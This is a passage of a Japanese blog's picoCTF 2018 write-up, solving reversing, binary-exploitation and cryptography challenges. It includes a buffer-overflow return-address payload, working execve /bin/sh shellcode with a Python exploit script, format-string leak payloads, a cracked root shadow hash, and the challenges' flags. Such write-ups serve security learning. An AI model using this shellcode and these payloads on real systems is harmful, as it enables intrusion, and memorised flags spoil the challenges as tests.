satto1237’s diary

s4tt01237’s diary

ラーメンとかCTFとかセキュリティとか

picoCTF 2018 Write-up [Reversing] + [Binary Exploitation]

まえがき

前回の続きです.
今回はReversingBinary ExploitationのWrite-upを書こうと思います.

satto.hatenadiary.com

Reversing

Reversing Warmup 1 - Points: 50

Throughout your journey you will have to run many programs. Can you navigate to /problems/reversing-warmup-1_2_a237211c4be8902c67102f827027e633 on the shell server and run this program to retreive the flag?

アプローチ:ELFファイルの実行

> file run
run: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3f4cbb89ad8989bad12dfa913e40072f3d21c96d, not stripped
> ./run
picoCTF{welc0m3_t0_r3VeRs1nG}

picoCTF{welc0m3_t0_r3VeRs1nG}

Reversing Warmup 2 - Points: 50

Can you decode the following string dGg0dF93NHNfczFtcEwz from base64 format to ASCII

アプローチ:base64

> echo dGg0dF93NHNfczFtcEwz | base64 --d
th4t_w4s_s1mpL3

picoCTF{th4t_w4s_s1mpL3}

assembly-0 - Points: 150

What does asm0(0xb6,0xc6) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-0_0_5a220faedfaf4fbf26e6771960d4a359.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm0

asm0:
    push    ebp
    mov ebp,esp
    mov eax,DWORD PTR [ebp+0x8]
    mov ebx,DWORD PTR [ebp+0xc]
    mov eax,ebx
    mov esp,ebp
    pop ebp
    ret

アセンブラを読むとeaxebxをコピーしていること分かる このときasm0(0xb6,0xc6)なのでeax=0xb6,ebx=0xc6

picoCTF{0xc6,0xc6}

assembly-1 - Points: 200

What does asm1(0x76) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_0_cfb59ef3b257335ee403035a6e42c2ed.

アプローチ:アセンブラを読む

.intel_syntax noprefix
.bits 32

.global asm1

asm1:
    push    ebp
    mov ebp,esp
    cmp DWORD PTR [ebp+0x8],0x98
    jg  part_a
    cmp DWORD PTR [ebp+0x8],0x8
    jne part_b
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
    jmp part_d
part_a:
    cmp DWORD PTR [ebp+0x8],0x16
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_b:
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
    cmp DWORD PTR [ebp+0x8],0xbc
    jne part_c
    mov eax,DWORD PTR [ebp+0x8]
    sub eax,0x3
    jmp part_d
part_c:
    mov eax,DWORD PTR [ebp+0x8]
    add eax,0x3
part_d:
    pop ebp
    ret

picoCTF{0x73,0x73}

Binary Exploitation

buffer overflow 0 - Points: 150

Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.

#include <stdio.h>                                                                                              
#include <stdlib.h>                                                                                             
#include <string.h>                                                                                             
#include <signal.h>                                                                                             
                                                                                                                
#define FLAGSIZE_MAX 64                                                                                         
                                                                                                                
char flag[FLAGSIZE_MAX];                                                                                        
                                                                                                                
void sigsegv_handler(int sig) {                                                                                 
  fprintf(stderr, "%s\n", flag);                                                                                
  fflush(stderr);                                                                                               
  exit(1);                                                                                                      
}                                                                                                               
                                                                                                                
void vuln(char *input){                                                                                         
  char buf[16];                                                                                                 
  strcpy(buf, input);                                                                                           
}                                                                                                               
                                                                                                                
int main(int argc, char **argv){                                                                                

  FILE *f = fopen("flag.txt","r");                                                                              
  if (f == NULL) {                                                                                              
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on t
he shell server.\n");                                                                                           
    exit(0);                                                                                                    
  }                                                                                                             
  fgets(flag,FLAGSIZE_MAX,f);                                                                                   
  signal(SIGSEGV, sigsegv_handler);                                                                             

  gid_t gid = getegid();                                                                                        
  setresgid(gid, gid, gid);                                                                                     

  if (argc > 1) {                                                                                               
    vuln(argv[1]);                                                                                              
    printf("Thanks! Received: %s", argv[1]);                                                                    
  }                                                                                                             
  else                                                                                                          
    printf("This program takes 1 argument.\n");                                                                 
  return 0;                                                                                                     
}                                

アプローチ:BOF

コードを読むとvuln()strcpy(buf, input)が危ないことが分かるのでbufBOFします.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-0_1_316c391426b9319f ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_3598a894}

buffer overflow 1 - Points: 200

Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

アプローチ:gdb+ltrace

コードを読むとvuln()のリターンアドレスをwin()にすればいいっぽいのでgdbを使ってアドレスを調べます.

(gdb) call vuln
$1 = {<text variable, no debug info>} 0x804862f <vuln>
(gdb) call win
$2 = {<text variable, no debug info>} 0x80485cb <win>

リターンアドレスを0x80485cbに書き換えるとflagがとれそうということが分かります.

ltraceを使いながらリターンアドレスの位置を計算します.

> printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./vuln
[0x80484f1] __libc_start_main(0x804865d, 1, 0xffca67d4, 0x80486d0 <unfinished ...>
[0x804867f] setvbuf(0xf7f94d80, 0, 2, 0)                                = 0
[0x8048687] getegid()                                                   = 1000
[0x804869b] setresgid(1000, 1000, 1000, 0x8048687)                      = 0
[0x80486ab] puts("Please enter your string: "Please enter your string:
)                          = 27
[0x8048641] gets(0xffca66e0, 0, 0xf7f94d80, 0xfbad2887)                 = 0xffca66e0
[0x8048657] printf("Okay, time to return... Fingers "..., 0x4c4c4c4cOkay, time to return... Fingers Crossed... Jumping to 0x4c4c4c4c
)   = 65
[0x4c4c4c4c] --- SIGSEGV (Segmentation fault) ---
[0xffffffffffffffff] +++ killed by SIGSEGV +++

0x4c4c4c4cになってることからLをアドレスに置き換えるといい感じになりそうということが分かります.

satto1237@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ printf "AAAABBBBCCCC
DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK\xcb\x85\x04\x08" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault

picoCTF{addr3ss3s_ar3_3asy65489706}

leak-me - Points: 200

Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 1271. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw:
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

アプローチ:nameでBOF

nameBOFするとパスワードが降ってきます.
a_reAllY_s3cuRe_p4s$word_f78570

> nc 2018shell1.picoctf.com 1271
What is your name?
satto1237
Hello satto1237,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

shellcode - Points: 200

This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

アプローチ:BOFでshellを起動

getsを使用しているのでBOFは簡単にできそうということがわかる. 問題文がshellcodeなのでBOFshellを起動すればflagをとれそう.

ももテクを参考にexploitコードを書きました.

inaz2.hatenablog.com

exploitコード

import sys

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

bufsize = 148
buf = shellcode
buf += 'A' * (bufsize - len(shellcode))
print(buf)
satto1237@pico-2018-shell-1:/problems/shellcode_3_09e0c5074980877d900d65c545d1e127$ (echo -e  "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; cat) | ./vuln
Enter a string!
1Rh//shh/binRSB
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_7f5a7309}

picoCTF{shellc0de_w00h00_7f5a7309}

echooo - Points: 300

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

アプローチ:FORMAT STRING ATTACK ~書式指定文字列攻撃~

今回もももテクを参考にしました.

inaz2.hatenablog.com

> nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
AAAA00000040.f772d5a0.08048647.f7764a74.00000001.f773c490.ffcbd2a4.ffcbd1ac.00000493.092f4008.41414141.78383025> .00000040.f772d5a0.08048647
>

bufのアドレスの位置が分かったのでその位置よりも前に出現するアドレスのメモリの内容を見ていくと

echo -e "%8\$s" | nc 2018shell1.picoctf.com 46960

picoCTF{foRm4t_stRinGs_aRe_DanGer0us_a7bc4a2d}

まとめ

  • Reversingわからん
  • Binary Exploitationわからん
  • 何もわからん
  • 今回のwrite-upだけ2つのジャンルを一緒に書きました(解けた問題数が少なかったので)
  • 低レイヤ強くなりてぇ…

picoCTF 2018 Write-up [Cryptography]

まえがき

前回の続きです.
今回はCryptographyのWrite-upを書こうと思います.

satto.hatenadiary.com

Cryptography

Crypto Warmup 1 - Points: 75

Crpyto can often be done by hand, here's a message you got from a friend, llkjmlmpadkkc with the key of thisisalilkey. Can you use this table to solve it?.

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

アプローチ:ヴィジュネル暗号

https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher

tableの最上段が平文(P),左段が鍵(K)になります.
text: llkjmlmpadkkc
key: thisisalilkey

-> SECRETMESSAGE

picoCTF{SECRETMESSAGE}

暗号文をCとしたときに

 P_i = (C_i - K_i) \bmod 26

となることを利用してスクリプトを書いたほうが速いです.

Crypto Warmup 2 - Points: 75

Cryptography doesn't have to be complicated, have you ever heard of something called rot13? cvpbPGS{guvf_vf_pelcgb!}

アプローチ:rot13

rot13.com

picoCTF{this_is_crypto!}

HEEEEEEERE'S Johnny! - Points: 100

Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with nc 2018shell1.picoctf.com 42165. Files can be found here: passwd shadow.

passwd

root:x:0:0:root:/root:/bin/bash

shadow

root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7:::

アプローチ:John the Ripper

ncするとユーザ名とパスワードの入力を求められるのでどうやらpasswdshadowからユーザ名とパスワードを推測しなければいけないようです.

/etc/passwd/etc/shadowについては以下を参照するといいと思います. www.server-memo.net

shadowファイル解読のためにJohn the Ripperを使います.

https://www.openwall.com/john/

> john --show shadow
root:kissme:17770:0:99999:7:::

1 password hash cracked, 0 left

root,kissmeでログイン

> nc 2018shell1.picoctf.com 42165
Username: root
Password: kissme
picoCTF{J0hn_1$_R1pp3d_5f9a67aa}

picoCTF{J0hn_1$_R1pp3d_5f9a67aa}

caesar cipher 1 - Points: 150

This is one of the older ciphers in the books, can you decrypt the message? You can find the ciphertext in /problems/caesar-cipher-1_3_160978e2a142244574bd048623dba1ed on the shell server.

grpqxdllaliazxbpxozfmebotlvlicmr

アプローチ:rot

rot13.comrot3

picoCTF{justagoodoldcaesarcipherwoyolfpu}

hertz - Points: 150

Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell1.picoctf.com 18581.

アプローチ:換字式暗号

ncすると

-------------------------------------------------------------------------------
crjgeqof nzez xf urve kpqg - fvtfoxovoxrj_cxdnzef_qez_frphqtpz_kgjhhgjimf
-------------------------------------------------------------------------------
xj q hxppqgz rk pq mqjcnq, onz jqmz rk anxcn x nqhz jr izfxez or cqpp or
mxji, onzez pxhzi jro prjg fxjcz rjz rk onrfz gzjopzmzj onqo szzd q pqjcz
xj onz pqjcz-eqcs, qj rpi tvcspze, q pzqj nqcs, qji q gezunrvji kre
crvefxjg. qj rppq rk eqonze mrez tzzk onqj mvoorj, q fqpqi rj mrfo
jxgnof, fceqdf rj fqoveiquf, pzjoxpf rj kexiquf, qji q dxgzrj re fr zwoeq
rj fvjiquf, mqiz qaqu axon onezz-bvqeozef rk nxf xjcrmz. onz ezfo rk xo
azjo xj q irvtpzo rk kxjz cpron qji hzphzo tezzcnzf qji fnrzf or mqocn
kre nrpxiquf, anxpz rj azzs-iquf nz mqiz q teqhz kxgvez xj nxf tzfo
nrmzfdvj. nz nqi xj nxf nrvfz q nrvfzszzdze dqfo kreou, q jxzcz vjize
oazjou, qji q pqi kre onz kxzpi qji mqeszo-dpqcz, anr vfzi or fqiipz onz
nqcs qf azpp qf nqjipz onz txpp-nrrs. onz qgz rk onxf gzjopzmqj rk rvef
aqf treizexjg rj kxkou; nz aqf rk q nqeiu nqtxo, fdqez, gqvjo-kzqovezi, q
hzeu zqepu exfze qji q gezqo fdreofmqj. onzu axpp nqhz xo nxf fvejqmz aqf
bvxwqiq re bvzfqiq (kre nzez onzez xf frmz ixkkzezjcz rk rdxjxrj qmrjg
onz qvonref anr aexoz rj onz fvtlzco), qponrvgn kerm ezqfrjqtpz
crjlzcovezf xo fzzmf dpqxj onqo nz aqf cqppzi bvzwqjq. onxf, nrazhze, xf
rk tvo pxoopz xmdreoqjcz or rve oqpz; xo axpp tz zjrvgn jro or foequ q
nqxe'f tezqion kerm onz oevon xj onz ozppxjg rk xo.

urv mvfo sjra, onzj, onqo onz qtrhz-jqmzi gzjopzmqj anzjzhze nz aqf qo
pzxfvez (anxcn aqf mrfopu qpp onz uzqe ervji) gqhz nxmfzpk vd or ezqixjg
trrsf rk cnxhqpeu axon fvcn qeirve qji qhxixou onqo nz qpmrfo zjoxezpu
jzgpzcozi onz dvefvxo rk nxf kxzpi-fdreof, qji zhzj onz mqjqgzmzjo rk nxf
derdzeou; qji or fvcn q dxocn ixi nxf zqgzejzff qji xjkqovqoxrj gr onqo
nz frpi mqju qj qcez rk oxppqgzpqji or tvu trrsf rk cnxhqpeu or ezqi, qji
tervgno nrmz qf mqju rk onzm qf nz crvpi gzo. tvo rk qpp onzez azez jrjz
nz pxszi fr azpp qf onrfz rk onz kqmrvf kzpxcxqjr iz fxphq'f crmdrfxoxrj,
kre onzxe pvcxixou rk foupz qji crmdpxcqozi crjczxof azez qf dzqepf xj
nxf fxgno, dqeoxcvpqepu anzj xj nxf ezqixjg nz cqmz vdrj crveofnxdf qji
cqeozpf, anzez nz rkozj krvji dqffqgzf pxsz "onz ezqfrj rk onz vjezqfrj
axon anxcn mu ezqfrj xf qkkpxcozi fr azqszjf mu ezqfrj onqo axon ezqfrj x
mvemve qo urve tzqvou;" re qgqxj, "onz nxgn nzqhzjf, onqo rk urve
ixhxjxou ixhxjzpu kreoxku urv axon onz foqef, ezjize urv izfzehxjg rk onz
izfzeo urve gezqojzff izfzehzf." rhze crjczxof rk onxf freo onz drre
gzjopzmqj prfo nxf axof, qji vfzi or pxz qaqsz foexhxjg or vjizefoqji
onzm qji arem onz mzqjxjg rvo rk onzm; anqo qexforopz nxmfzpk crvpi jro
nqhz mqiz rvo re zwoeqcozi nqi nz crmz or pxkz qgqxj kre onqo fdzcxqp
dvedrfz. nz aqf jro qo qpp zqfu qtrvo onz arvjif anxcn irj tzpxqjxf gqhz
qji orrs, tzcqvfz xo fzzmzi or nxm onqo, gezqo qf azez onz fvegzrjf anr
nqi cvezi nxm, nz mvfo nqhz nqi nxf kqcz qji triu crhzezi qpp rhze axon
fzqmf qji fcqef. nz crmmzjizi, nrazhze, onz qvonre'f aqu rk zjixjg nxf
trrs axon onz dermxfz rk onqo xjozemxjqtpz qihzjovez, qji mqju q oxmz aqf
nz ozmdozi or oqsz vd nxf dzj qji kxjxfn xo derdzepu qf xf onzez
derdrfzi, anxcn jr irvto nz arvpi nqhz irjz, qji mqiz q fvcczffkvp dxzcz
rk ares rk xo orr, nqi jro gezqoze qji mrez qtfretxjg onrvgnof dezhzjozi
nxm.

が降ってきます. おそらく換字式暗号なので文字の出現確率を見ながら適当に変換していきます.
変換ルールはこれです.

q -> A
g -> G
p -> L
k -> F
e -> R
z -> E
n -> H
r -> O
o -> T
j -> N
m -> M
i -> D
x -> I
f -> S
v -> U
a -> W
c -> C
u -> Y
t -> B
d -> P
s -> K
h -> V
w -> X
l -> J
b -> Q

最終的な文字列は以下のようになります.

-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - SUBSTITUTION_CIPHERS_ARE_SOLVABLE_FGNVVGNDMS
-------------------------------------------------------------------------------
IN A VILLAGE OF LA MANCHA, THE NAME OF WHICH I HAVE NO DESIRE TO CALL TO
MIND, THERE LIVED NOT LONG SINCE ONE OF THOSE GENTLEMEN THAT KEEP A LANCE
IN THE LANCE-RACK, AN OLD BUCKLER, A LEAN HACK, AND A GREYHOUND FOR
COURSING. AN OLLA OF RATHER MORE BEEF THAN MUTTON, A SALAD ON MOST
NIGHTS, SCRAPS ON SATURDAYS, LENTILS ON FRIDAYS, AND A PIGEON OR SO EXTRA
ON SUNDAYS, MADE AWAY WITH THREE-QUARTERS OF HIS INCOME. THE REST OF IT
WENT IN A DOUBLET OF FINE CLOTH AND VELVET BREECHES AND SHOES TO MATCH
FOR HOLIDAYS, WHILE ON WEEK-DAYS HE MADE A BRAVE FIGURE IN HIS BEST
HOMESPUN. HE HAD IN HIS HOUSE A HOUSEKEEPER PAST FORTY, A NIECE UNDER
TWENTY, AND A LAD FOR THE FIELD AND MARKET-PLACE, WHO USED TO SADDLE THE
HACK AS WELL AS HANDLE THE BILL-HOOK. THE AGE OF THIS GENTLEMAN OF OURS
WAS BORDERING ON FIFTY; HE WAS OF A HARDY HABIT, SPARE, GAUNT-FEATURED, A
VERY EARLY RISER AND A GREAT SPORTSMAN. THEY WILL HAVE IT HIS SURNAME WAS
QUIXADA OR QUESADA (FOR HERE THERE IS SOME DIFFERENCE OF OPINION AMONG
THE AUTHORS WHO WRITE ON THE SUBJECT), ALTHOUGH FROM REASONABLE
CONJECTURES IT SEEMS PLAIN THAT HE WAS CALLED UEXANA. THIS, HOWEVER, IS
OF BUT LITTLE IMPORTANCE TO OUR TALE; IT WILL BE ENOUGH NOT TO STRAY A
HAIR'S BREADTH FROM THE TRUTH IN THE TELLING OF IT.

YOU MUST KNOW, THEN, THAT THE ABOVE-NAMED GENTLEMAN WHENEVER HE WAS AT
LEISURE (WHICH WAS MOSTLY ALL THE YEAR ROUND) GAVE HIMSELF UP TO READING
BOOKS OF CHIVALRY WITH SUCH ARDOUR AND AVIDITY THAT HE ALMOST ENTIRELY
NEGLECTED THE PURSUIT OF HIS FIELD-SPORTS, AND EVEN THE MANAGEMENT OF HIS
PROPERTY; AND TO SUCH A PITCH DID HIS EAGERNESS AND INFATUATION GO THAT
HE SOLD MANY AN ACRE OF TILLAGELAND TO BUY BOOKS OF CHIVALRY TO READ, AND
BROUGHT HOME AS MANY OF THEM AS HE COULD GET. BUT OF ALL THERE WERE NONE
HE LIKED SO WELL AS THOSE OF THE FAMOUS FELICIANO DE SILVA'S COMPOSITION,
FOR THEIR LUCIDITY OF STYLE AND COMPLICATED CONCEITS WERE AS PEARLS IN
HIS SIGHT, PARTICULARLY WHEN IN HIS READING HE CAME UPON COURTSHIPS AND
CARTELS, WHERE HE OFTEN FOUND PASSAGES LIKE "THE REASON OF THE UNREASON
WITH WHICH MY REASON IS AFFLICTED SO WEAKENS MY REASON THAT WITH REASON I
MURMUR AT YOUR BEAUTY;" OR AGAIN, "THE HIGH HEAVENS, THAT OF YOUR
DIVINITY DIVINELY FORTIFY YOU WITH THE STARS, RENDER YOU DESERVING OF THE
DESERT YOUR GREATNESS DESERVES." OVER CONCEITS OF THIS SORT THE POOR
GENTLEMAN LOST HIS WITS, AND USED TO LIE AWAKE STRIVING TO UNDERSTAND
THEM AND WORM THE MEANING OUT OF THEM; WHAT ARISTOTLE HIMSELF COULD NOT
HAVE MADE OUT OR EXTRACTED HAD HE COME TO LIFE AGAIN FOR THAT SPECIAL
PURPOSE. HE WAS NOT AT ALL EASY ABOUT THE WOUNDS WHICH DON BELIANIS GAVE
AND TOOK, BECAUSE IT SEEMED TO HIM THAT, GREAT AS WERE THE SURGEONS WHO
HAD CURED HIM, HE MUST HAVE HAD HIS FACE AND BODY COVERED ALL OVER WITH
SEAMS AND SCARS. HE COMMENDED, HOWEVER, THE AUTHOR'S WAY OF ENDING HIS
BOOK WITH THE PROMISE OF THAT INTERMINABLE ADVENTURE, AND MANY A TIME WAS
HE TEMPTED TO TAKE UP HIS PEN AND FINISH IT PROPERLY AS IS THERE
PROPOSED, WHICH NO DOUBT HE WOULD HAVE DONE, AND MADE A SUCCESSFUL PIECE
OF WORK OF IT TOO, HAD NOT GREATER AND MORE ABSORBING THOUGHTS PREVENTED
HIM.

picoCTF{substitution_ciphers_are_solvable_fgnvvgndms}

人力でも解けますがquipqiup - cryptoquip and cryptogram solverなどのサイトであたりをつけてから解いたほうが速く解けます.

blaise's cipher - Points: 200

My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell1.picoctf.com 18981.

アプローチ:ヴィジュネル暗号

Encrypted message:
Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx.

Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce.

